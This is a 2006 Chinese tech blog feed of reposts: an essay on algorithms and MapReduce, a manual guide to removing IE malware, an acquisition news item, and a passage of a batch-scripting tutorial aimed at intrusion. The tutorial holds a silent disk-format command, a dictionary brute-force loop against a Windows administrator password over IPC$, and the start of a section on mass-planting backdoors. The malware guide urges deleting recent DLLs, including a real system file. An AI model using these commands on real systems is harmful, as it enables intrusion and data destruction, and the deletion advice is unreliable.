/>之多。他们虽然买了几台超级计算机，勉强让系统跑了起来，但这么贵的计算资源让他们<br /><br />的产品部门很反感，因为“昂贵”的技术是没有应用前景的。在与他们探讨的过程中，我<br /><br />惊讶地发现一个O(n*m)的动态规划(dynamic programming)居然被他们做成了O(n*n*m)。<br /><br />更惊讶的是，他们还为此发表了不少文章，甚至为自己的算法起了一个很特别的名字，并<br /><br />将算法提名到一个科学会议里，希望能得到大奖。当时，贝尔实验室的研究员当然绝顶聪<br /><br />明，但他们全都是学数学、物理或电机出身，从未学过计算机科学或算法，才犯了这么基<br /><br />本的错误。我想那些人以后再也不会嘲笑学计算机科学的人了吧！<br /><br />网络时代的算法<br />有人也许会说：“今天计算机这么快，算法还重要吗？”其实永远不会有太快的计算机，<br /><br />因为我们总会想出新的应用。虽然在摩尔定律的作用下，计算机的计算能力每年都在飞快<br /><br />增长，价格也在不断下降。可我们不要忘记，需要处理的信息量更是呈指数级的增长。现<br /><br />在每人每天都会创造出大量数据（照片，视频，语音，文本等等）。日益先进的纪录和存<br /><br />储手段使我们每个人的信息量都在爆炸式的增长。互联网的信息流量和日志容量也在飞快<br /><br />增长。在科学研究方面，随着研究手段的进步，数据量更是达到了前所未有的程度。无论<br /><br />是三维图形、海量数据处理、机器学习、语音识别，都需要极大的计算量。在网络时代，<br /><br />越来越多的挑战需要靠卓越的算法来解决。<br /><br />再举另一个网络时代的例子。在互联网和手机搜索，如果要找附近的咖啡店，那么搜索引<br /><br />擎该怎么处理这个请求呢？<br /><br />最简单的办法就是把整个城市的咖啡馆都找出来，然后计算出它们的所在位置与你之间的<br /><br />距离，再进行排序，然后返回最近的结果。但该如何计算距离呢？图论里有不少算法可以<br /><br />解决这个问题。<br /><br />这么做也许是最直观的，但绝对不是最迅速的。如果一个城市只有为数不多的咖啡馆，那<br /><br />么这么做应该没什么问题，反正计算量不大。但如果一个城市里有很多咖啡馆，又有很多<br /><br />用户都需要类似的搜索，那么服务器所承受的压力就大多了。在这种情况下，我们该怎样<br /><br />优化算法呢？<br /><br />首先，我们可以把整个城市的咖啡馆做一次“预处理”。比如，把一个城市分成若干个“<br /><br />格子(grid)”，然后根据用户所在的位置把他放到某一个格子里，只对格子里的咖啡馆<br /><br />进行距离排序。<br /><br />问题又来了，如果格子大小一样，那么绝大多数结果都可能出现在市中心的一个格子里，<br /><br />而郊区的格子里只有极少的结果。在这种情况下，我们应该把市中心多分出几个格子。更<br /><br />进一步，格子应该是一个“树结构”，最顶层是一个大格——整个城市，然后逐层下降，<br /><br />格子越来越小，这样有利于用户进行精确搜索——如果在最底层的格子里搜索结果不多，<br /><br />用户可以逐级上升，放大搜索范围。<br /><br />上述算法对咖啡馆的例子很实用，但是它具有通用性吗？答案是否定的。把咖啡馆抽象一<br /><br />下，它是一个“点”，如果要搜索一个“面”该怎么办呢？比如，用户想去一个水库玩，<br /><br />而一个水库有好几个入口，那么哪一个离用户最近呢？这个时候，上述“树结构”就要改<br /><br />成“r-tree”，因为树中间的每一个节点都是一个范围，一个有边界的范围（参考:<br /><a href="http://www.cs.umd.edu/%7Ehjs/rtrees/index.html%EF%BC%89%E3%80%82" target="_blank">http://www.cs.umd.edu/~hjs/rtrees/index.html）。</a><br /><br /><br />通过这个小例子，我们看到，应用程序的要求千变万化，很多时候需要把一个复杂的问题<br /><br />分解成若干简单的小问题，然后再选用合适的算法和数据结构。<br /><br />并行算法：Google的核心优势<br />上面的例子在Google里就要算是小case了！每天Google的网站要处理十亿个以上的搜索，<br /><br />GMail要储存几千万用户的2G邮箱，Google Earth要让数十万用户同时在整个地球上遨游<br /><br />，并将合适的图片经过互联网提交给每个用户。如果没有好的算法，这些应用都无法成为<br /><br />现实。<br /><br />在这些的应用中，哪怕是最基本的问题都会给传统的计算带来很大的挑战。例如，每天都<br /><br />有十亿以上的用户访问Google的网站，使用Google的服务，也产生很多很多的日志(Log)<br /><br />。因为Log每份每秒都在飞速增加，我们必须有聪明的办法来进行处理。我曾经在面试中<br /><br />问过关于如何对Log进行一些分析处理的问题，有很多面试者的回答虽然在逻辑上正确，<br /><br />但是实际应用中是几乎不可行的。按照它们的算法，即便用上几万台机器，我们的处理速<br /><br />度都根不上数据产生的速度。<br /><br />那么Google是如何解决这些问题的？<br /><br />首先，在网络时代，就算有最好的算法，也要能在并行计算的环境下执行。在Google的数<br /><br />据中心，我们使用的是超大的并行计算机。但传统的并行算法运行时，效率会在增加机器<br /><br />数量后迅速降低，也就是说，十台机器如果有五倍的效果，增加到一千台时也许就只有几<br /><br />十倍的效果。这种事半功倍的代价是没有哪家公司可以负担得起的。而且，在许多并行算<br /><br />法中，只要一个结点犯错误，所有计算都会前功尽弃。<br /><br />那么Google是如何开发出既有效率又能容错的并行计算的呢？<br /><br />Google最资深的计算机科学家Jeff Dean认识到，Google所需的绝大部分数据处理都可以<br /><br />归结为一个简单的并行算法：Map and Reduce<br />(<a href="http://labs.google.com/papers/mapreduce.html" target="_blank">http://labs.google.com/papers/mapreduce.html</a><br />。这个算法能够在很多种计算中达到<br />相当高的效率，而且是可扩展的（也就是说，一千台机器就算不能达到一千倍的效果，至<br /><br />少也可以达到几百倍的效果）。Map and Reduce的另外一大特色是它可以利用大批廉价的<br /><br />机器组成功能强大的server farm。最后，它的容错性能异常出色，就算一个server farm<br /><br />宕掉一半，整个fram依然能够运行。正是因为这个天才的认识，才有了Map and Reduce算<br /><br />法。借助该算法，Google几乎能无限地增加计算量，与日新月异的互联网应用一同成长。<br /><br /><br />算法并不局限于计算机和网络<br />举一个计算机领域外的例子：在高能物理研究方面，很多实验每秒钟都能几个TB的数据量<br /><br />。但因为处理能力和存储能力的不足，科学家不得不把绝大部分未经处理的数据丢弃掉。<br /><br />可大家要知道，新元素的信息很有可能就藏在我们来不及处理的数据里面。同样的，在其<br /><br />他任何领域里，算法可以改变人类的生活。例如人类基因的研究，就可能因为算法而发明<br /><br />新的医疗方式。在国家安全领域，有效的算法可能避免下一个911的发生。在气象方面，<br /><br />算法可以更好地预测未来天灾的发生，以拯救生命。<br />所以，如果你把计算机的发展放到应用和数据飞速增长的大环境下，你一定会发现；算法<br /><br />的重要性不是在日益减小，而是在日益加强。<img src ="http://www.cnitblog.com/martin/aggbug/9683.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-26 13:23 <a href="http://www.cnitblog.com/martin/archive/2006/04/26/9683.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]万事不求人 三招必杀技清除IE顽固病毒</title><link>http://www.cnitblog.com/martin/archive/2006/04/24/9597.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Mon, 24 Apr 2006 04:14:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/24/9597.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9597.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/24/9597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9597.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9597.html</trackback:ping><description><![CDATA[From: http://tech.sina.com.cn/s/2006-04-21/1421913375.shtml<br /><br /><font id="zoom" class="f14"><!--NEWSZW_HZH_BEGIN--><!--NEWSZW_HZH_END-->    现今的杀毒工具虽然有的门类众多，五花八门，但是还是很多都不能完全解决各种顽固病毒。
真是道高一尺，魔高一丈。有时候用了很多杀毒工具都无法根除病毒，特别是各种IE病毒，恶意代码，更是让许多网民防不胜防，打开IE时冷不防的蹦出个广告
网站窗口？IE被篡改？重启后还被篡改？系统资源被严重损耗？这些都是非常普遍的IE病毒的表现形式。
而且现在很多病毒都是被网络不法分子和广告宣传公司造出来的。杀毒工具根本来不及更新，等杀毒工具更新了，你的电脑基本也都瘫痪了。</font><p><font id="zoom" class="f14">　　这种情况下，有时候不得不重装系统。笔者有一次在写论文的时候太急，杀毒工具都用了N个，还是不能杀干净，于是索性重装系统。付出的代价也是惨痛的。难道出问题了都要重装系统吗？不用！现在笔者教你如何在杀毒工具都无法清除的情况来手工杀除那些顽固的IE<span class="yqlink"><form class="yqin" action="http://www.iask.com/n" method="post"><input name="k" value="病毒" type="hidden" /></form><a href="http://www.iask.com/n?k=%E7%97%85%E6%AF%92" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="病毒">病毒</a></span>。万事不求人，应对各种突发病毒和新病毒都药到病除！你不需要是杀毒专家，这些，其实很简单。请看以下手工杀毒必杀技三招秘籍。</font></p><p><font id="zoom" class="f14"><strong>　　一、第一招之初步防御:预备阶段</strong></font></p><p><font id="zoom" class="f14">　　这一阶段，我还是建议大家首先试一下各种杀毒工具，把基本的能杀的病毒都给先杀了，
以减轻自己的工作量。比如IE病毒专杀工具如3721雅虎助手(可查杀大部分IE病毒和恢复浏览器)，反间谍专家，以及金山毒霸，瑞星，江民等常见杀毒工
具。你需要在预备阶段做的工作就是利用一些杀度工具把常见的大部分病毒都给杀除了。另外，如果不能杀除，你可以再尝试在系统启动时按F8进入安全模式在这
个情况下再启动杀毒工具和IE修复工具进行查杀。当然，有些人造新病毒还是可以躲过这一关的。那么就用下一招。</font></p><p><font id="zoom" class="f14"><strong>　　二、第二招之反击病毒:扫描进程进行查杀</strong></font></p><p><font id="zoom" class="f14">　　笔者的电脑就曾经CPU狂转滚烫无比，发现RUNDLL32.EXE这个文件运行了99%的CPU资源，而这个文件是<span class="yqlink"><form class="yqin" action="http://www.iask.com/n" method="post"><input name="k" value="WINDOWS" type="hidden" /></form><a href="http://www.iask.com/n?k=WINDOWS" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="WINDOWS">WINDOWS</a></span>下
的SYSTEM32文件夹里的，不应该是病毒。而最大的可能，它就是被用来运行了某些病毒的DLL文件。而造成严重损害的。针对进程问题，首先大家可以用
最简单的方法先进行表面清楚，就是在“开始”里点“运行”，键入MSCONFIG，然后进入启动项设置，看到不正常的启动项，比如各种莫名奇妙的名字，以
及特别是在非WINDOWS系统文件夹下的(可以直接删除都没事)，以及各种奇怪的可执行文件，.exe的，给予坚决取消启动。并可找到那个文件的位置，
给予删除，如果非系统文件夹下的，你大可以放心删除。另外，推荐大家一款免费的进程扫描工具hijackthis,大家可以找它的汉化版的，用来扫描进
程，你根据扫描进程文件，可以一一排除，哪些是正常的文件，正常的文件旁一般都有注释。</font></p><p><font id="zoom" class="f14">　　当然，当你看到某些异常文件，尤其是隐藏在SYSTEM32文件夹下的，某些异常
的.exe文件，以及它的上级文件夹。不要怕，进入c:/windows/system32,
进去之后，找到那个文件，以及它的父文件夹。有时候，你会很惊讶的发现，这个可执行文件病毒就被你发现了，有的病毒执行程序，你查看属性时，竟然写到是某
某广告公司，我记得很清楚的就有什么傲视广告公司，真是垃圾公司造一些垃圾广告病毒来害人！这些病毒往往都是一个单的可执行文件，放在SYSTEM32下
或者一个文件夹里。先别管它，好在这些病毒还写了是谁造的，还等什么，马上彻底删除！有的无法删除，正在运行的，你要借助一些文件粉碎机来删除。而好象
SP2的WINXP自带粉碎文件功能。就这样，你根据可疑进程，特别是扩展名为.exe的文件，找到它隐藏的文件夹，看它的属性和修改日期，有的是往往是
发生病毒情况的那一天的，很容易就发现它是病毒，直接封杀！有的更“牛”一点，在父文件夹里还带着一些广告网站的.ini
文本文件和其它文件夹，这个没事，你打开看看那些文件夹里都是啥，有时候你能发现这些.ini
文件里就写着骚扰你的恶意网站或者其它广告网站的地址。发现了就好，然后再看看这个文件夹的修改时间，如果是发生病毒时候的，还等什么？整个这个异常文件
夹一下子删除！就这样，你可以通过进程扫描，寻根求底的方法，找到隐藏的系统文件下，通过查阅文件夹以及异常文件属性等，直接手工删除！</font></p><p><font id="zoom" class="f14"><strong>　　三、第三招之主动出击:根除残留病毒</strong></font></p><p><font id="zoom" class="f14">　　有时候，某些病毒并不是在运行，而是在你打开IE之后的某个时间或者激发了某些事
件，它们才会运行。有的还是某些.DLL
文件，隐藏在系统文件夹下，很难发现，而且往往误认为是系统文件而不敢查杀。这些成为最顽固的病毒，不用怕。这些也都可以通过第三招而杀除。最常用的方法
是根据文件夹和文件修改创建时间。首先你把文件夹属性调整为查阅所有文件，包括隐藏文件和系统文件。然后右健，再通过查看文件方式选择为查看详细信息，则
会出现详细信息列表，你可以通过选择最近时间排列，而看到最新创建的一些文件夹和一些文件。如果你记得你病毒发作的那第一天时间，直接可以发现那些异常文
件夹的创建时间和病毒发作时大概相同，直接进去查看，有时候往往发现这些文件夹里果然包含着广告网站的信息等或者其它异常内容。不管有没有，直接删除这些
文件夹吧！有的如果是你最近装过的软件的话，你自己也会清楚，如果不是的，那就是病毒创建的文件夹了。删除这些新创建的对你系统运行也没有损失。</font></p><p><font id="zoom" class="f14">　　大可以不必担心。统统删！另外，如果发现新近建的尤其是病毒发作那一天创建的.
dll文件(我记得有个就叫什么std.dll,stdup.dll,spoolsv.dll等),以及其它异常.exe文件，不管有没有在以前的进程中
发现的，发现的，更是有把握的删，没在进程中发现的，也可以不犹豫的删除，因为这些新建立的文件，是不会影响系统运行的。另外，这是主动到某个文件夹里
看，当然，你可以通过更智能的方法，用WINDOWS搜索来查找最近修改的文件，这样，再一个个去分析去删除。这些方法，是手工杀毒三招中的最高境界。新
创立的文件，你自己建立的，不用管它，不是你自己建立的，或者也不是最近装的某软件的。那些就很可能是病毒了。特别是病毒发作那第一天的，极大的可能性就
是病毒。为了安全，直接删除！</font></p><p><font id="zoom" class="f14">　　通过以上三种方法，我最近又通过手工杀除了许多顽固的新的IE病毒。避免了重装系
统。其实，自己手工杀毒，乐在其中。其实杀毒也是那么简单。另外，奉劝大家以后上网不要随便安装控件，也不要随便下载和乱点击。查阅资料等尽量去大网站而
不要去小网站。另外设置WINDOWS防火墙，安装病毒防火墙，隔段时间用杀毒工具进行病毒查杀。如果再出现问题，就用我的那三招吧！</font></p><br /><img src ="http://www.cnitblog.com/martin/aggbug/9597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-24 12:14 <a href="http://www.cnitblog.com/martin/archive/2006/04/24/9597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]IT168约以100万美元收购高端技术社区ITPUB</title><link>http://www.cnitblog.com/martin/archive/2006/04/21/9473.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 21 Apr 2006 12:05:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/21/9473.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9473.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/21/9473.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9473.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9473.html</trackback:ping><description><![CDATA[
		<font id="zoom" class="f14">From: http://tech.sina.com.cn/i/2006-04-21/1515913445.shtml<br /><br />    新浪科技讯 4月21日，新浪科技获悉，知名技术社区<a class="akey" href="http://www.itpub.net/" target="_blank">ITPUB</a>已被IT168网站收购，据消息人士透露，收购金额约为100万美元。</font>
		<p>
				<font id="zoom" class="f14">
						<!--NEWSZW_HZH_BEGIN-->
						<!--NEWSZW_HZH_END-->　　ITPUB是一家人气比较高的Oracle、UNIX等高端技术社区，由中山大学的
几位老师所创。2005年ITPUB与IT168、计世网、天极网等数家IT网站都谈过收购，据悉年底时即已基本选定IT168，今年4月最终签订收购合
同，支付方式主要为现金分期付款。新浪科技发现，ITP
UB网站上已经打上IT168的LOGO，公司名也已经变成了IT168的母公司北京皓辰广域网络信息技术有限公司。</font>
		</p>
		<p>
				<font id="zoom" class="f14">　　IT168最初只是一家提供硬件产品资讯的网站，知情人士表示，这是IT168网站进军高端市场战略的一部分，他认为IT168可能还会继续收购其他高端IT类网站。IT168母公司<a class="akey" href="http://tech.sina.com.cn/i/2005-12-30/2351807963.shtml" target="_blank">皓辰机构曾获美国某投资机构2100万美金融资</a>，可能会谋求上市。 </font>
		</p>
<img src ="http://www.cnitblog.com/martin/aggbug/9473.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-21 20:05 <a href="http://www.cnitblog.com/martin/archive/2006/04/21/9473.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]编写DOS批处理文件</title><link>http://www.cnitblog.com/martin/archive/2006/04/21/9461.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 21 Apr 2006 09:58:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/21/9461.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9461.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/21/9461.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9461.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9461.html</trackback:ping><description><![CDATA[
		<div class="postbody">
				<p>
						<span style="text-decoration: underline;">From: </span>
						<a href="http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm">http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm</a>
				</p>
				<p>如果没有一定的相关知识恐怕不容易看懂和理解批处理文件，也就更谈不上自己动手编写了</p>
				<p>批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或
.cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批
处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到
的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。</p>
				<p>一.简单批处理内部命令简介<br />1.Echo 命令<br />打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<br />语法<br />echo [{ on|off }] [message]<br />Sample：@echo off / echo hello world<br />在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</p>
				<p>2.@ 命令<br />表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<br />Sample：@echo off<br />@echo Now initializing the program,please wait a minite...<br />@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)</p>
				<p>3.Goto 命令<br />指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<br />语法：goto label （label是参数，指定所要转向的批处理程序中的行。）<br />Sample：<br />if { %1 }=={ } goto noparms<br />if { %2 }=={ } goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br />@Rem check parameters if null show usage<br />:noparms<br />echo Usage: monitor.bat ServerIP PortNumber<br />goto end<br />标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</p>
				<p>4.Rem 命令<br />注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<br />Rem Message<br />Sample：@Rem Here is the description.</p>
				<p>5.Pause 命令<br />运行 Pause 命令时，将显示下面的消息：<br />Press any key to continue . . .<br />Sample：<br />@echo off<br />:begin<br />copy a:*.* d：//back<br />echo Please put a new disk into driver A<br />pause<br />goto begin<br />在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</p>
				<p>6.Call 命令<br />从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br />语法<br />call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br />参数<br />[Drive: }[Path] FileName<br />指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。</p>
				<p>7.start 命令<br />调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br />入侵常用参数：<br />MIN 开始时窗口最小化<br />SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />HIGH 在 HIGH 优先级类别开始应用程序<br />REALTIME 在 REALTIME 优先级类别开始应用程序<br />WAIT 启动应用程序并等候它结束<br />parameters 这些为传送到命令/程序的参数<br />执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<br />8.choice 命令<br />choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……<br />如: choice /c:dme defrag,mem,end<br />将显示<br />defrag,mem,end[D,M,E]?<br />Sample：<br />Sample.bat的内容如下:<br />@echo off<br />choice /c:dme defrag,mem,end<br />if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br />if errorlevel 2 goto mem<br />if errotlevel 1 goto end</p>
				<p>:defrag<br />c://dos//defrag<br />goto end<br />:mem<br />mem<br />goto end<br />:end<br />echo good bye</p>
				<p>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e
，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都
以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</p>
				<p>9.If 命令</p>
				<p>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:<br />1、if "参数" == "字符串" 　待执行的命令<br />参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<br />如if "%1"=="a" format a:<br />if { %1 }=={ } goto noparms<br />if { %2 }=={ } goto noparms</p>
				<p>2、if exist 文件名　 待执行的命令<br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br />如if exist config.sys edit config.sys</p>
				<p>3、if errorlevel / if not errorlevel 数字　 待执行的命令<br />如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br />如if errorlevel 2 goto x2 　<br />DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</p>
				<p>10.for 命令<br />for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br />在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</p>
				<p>for { %variable|%%variable } in (set) do command [ CommandLineOptions]<br />%variable 指定一个单一字母可替换的参数。<br />(set) 指定一个或一组文件。可以使用通配符。<br />command 指定对每个文件执行的命令。<br />command-parameters 为特定命令指定参数或命令行开关。<br />在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</p>
				<p>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<br />支持:</p>
				<p>FOR /D %variable IN (set) DO command [command-parameters]</p>
				<p>如果集中包含通配符，则指定与目录名匹配，而不与文件<br />名匹配。</p>
				<p>FOR /R [[drive:]path] %variable IN (set) DO command [command-</p>
				<p>检查以 [drive:]path 为根的目录树，指向每个目录中的<br />FOR 语句。如果在 /R 后没有指定目录，则使用当前<br />目录。如果集仅为一个单点(.)字符，则枚举该目录树。</p>
				<p>FOR /L %variable IN (start,step,end) DO command [command-para</p>
				<p>该集表示以增量形式从开始到结束的一个数字序列。<br />因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />序列 (5 4 3 2 1)。</p>
				<p>FOR /F ["options"] %variable IN (file-set) DO command<br />FOR /F ["options"] %variable IN ("string") DO command<br />FOR /F ["options"] %variable IN (/'command/') DO command</p>
				<p>或者，如果有 usebackq 选项:</p>
				<p>FOR /F ["options"] %variable IN (file-set) DO command<br />FOR /F ["options"] %variable IN ("string") DO command<br />FOR /F ["options"] %variable IN (/'command/') DO command</p>
				<p>filenameset 为一个或多个文件名。继续到 filenameset 中的<br />下一个文件之前，每份文件都已被打开、读取并经过处理。<br />处理包括读取文件，将其分成一行行的文字，然后将每行<br />解析成零或更多的符号。然后用已找到的符号字符串变量值<br />调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<br />的第一个空白符号。跳过空白行。您可通过指定可选 "options"<br />参数替代默认解析操作。这个带引号的字符串包括一个或多个<br />指定不同解析选项的关键字。这些关键字为:</p>
				<p>eol=c - 指一个行注释字符的结尾(就一个)<br />skip=n - 指在文件开始时忽略的行数。<br />delims=xxx - 指分隔符集。这个替换了空格和跳格键的<br />默认分隔符集。<br />tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br />的 for 本身。这会导致额外变量名称的<br />格式为一个范围。通过 nth 符号指定 m<br />符号字符串中的最后一个字符星号，<br />那么额外的变量将在最后一个符号解析之<br />分配并接受行的保留文本。<br />usebackq - 指定新语法已在下类情况中使用:<br />在作为命令执行一个后引号的字符串并且<br />引号字符为文字字符串命令并允许在 fi<br />中使用双引号扩起文件名称。</p>
				<p>sample1:<br />FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command</p>
				<p>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<br />每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<br />空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<br />取得第二个符号，引用 %j 来取得第三个符号，引用 %k<br />来取得第三个符号后的所有剩余符号。对于带有空格的文件<br />名，您需要用双引号将文件名括起来。为了用这种方式来使<br />用双引号，您还需要使用 usebackq 选项，否则，双引号会<br />被理解成是用作定义某个要分析的字符串的。</p>
				<p>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<br />tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br />指定最多 26 个符号，只要不试图说明一个高于字母 /'z/' 或<br />/'Z/' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<br />同时不能有 52 个以上都在使用中。</p>
				<p>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<br />用单引号将括号之间的 filenameset 括起来。这样，该字符<br />串会被当作一个文件中的一个单一输入行。</p>
				<p>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<br />括号之间的 filenameset 变成一个反括字符串。该字符串会<br />被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<br />内存，并被当作文件分析。因此，以下例子:</p>
				<p>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i</p>
				<p>会枚举当前环境中的环境变量名称。</p>
				<p>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<br />选项语法:</p>
				<p>~I - 删除任何引号(")，扩充 %I<br />%~fI - 将 %I 扩充到一个完全合格的路径名<br />%~dI - 仅将 %I 扩充到一个驱动器号<br />%~pI - 仅将 %I 扩充到一个路径<br />%~nI - 仅将 %I 扩充到一个文件名<br />%~xI - 仅将 %I 扩充到一个文件扩展名<br />%~sI - 扩充的路径只含有短名<br />%~aI - 将 %I 扩充到文件的文件属性<br />%~tI - 将 %I 扩充到文件的日期/时间<br />%~zI - 将 %I 扩充到文件的大小<br />%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<br />到找到的第一个完全合格的名称。如果环境变量<br />未被定义，或者没有找到文件，此组合键会扩充<br />空字符串</p>
				<p>可以组合修饰符来得到多重结果:</p>
				<p>%~dpI - 仅将 %I 扩充到一个驱动器号和路径<br />%~nxI - 仅将 %I 扩充到一个文件名和扩展名<br />%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<br />%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<br />到找到的第一个驱动器号和路径。<br />%~ftzaI - 将 %I 扩充到类似输出线路的 DIR</p>
				<p>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<br />用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br />比较易读，而且避免与不分大小写的组合键混淆。</p>
				<p>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</p>
				<p>sample2：</p>
				<p>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br />我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。<br />最主要的命令是一条：for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"<br />用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<br />for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D://ok.txt ，这样就ko了。</p>
				<p>sample3：</p>
				<p>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。</p>
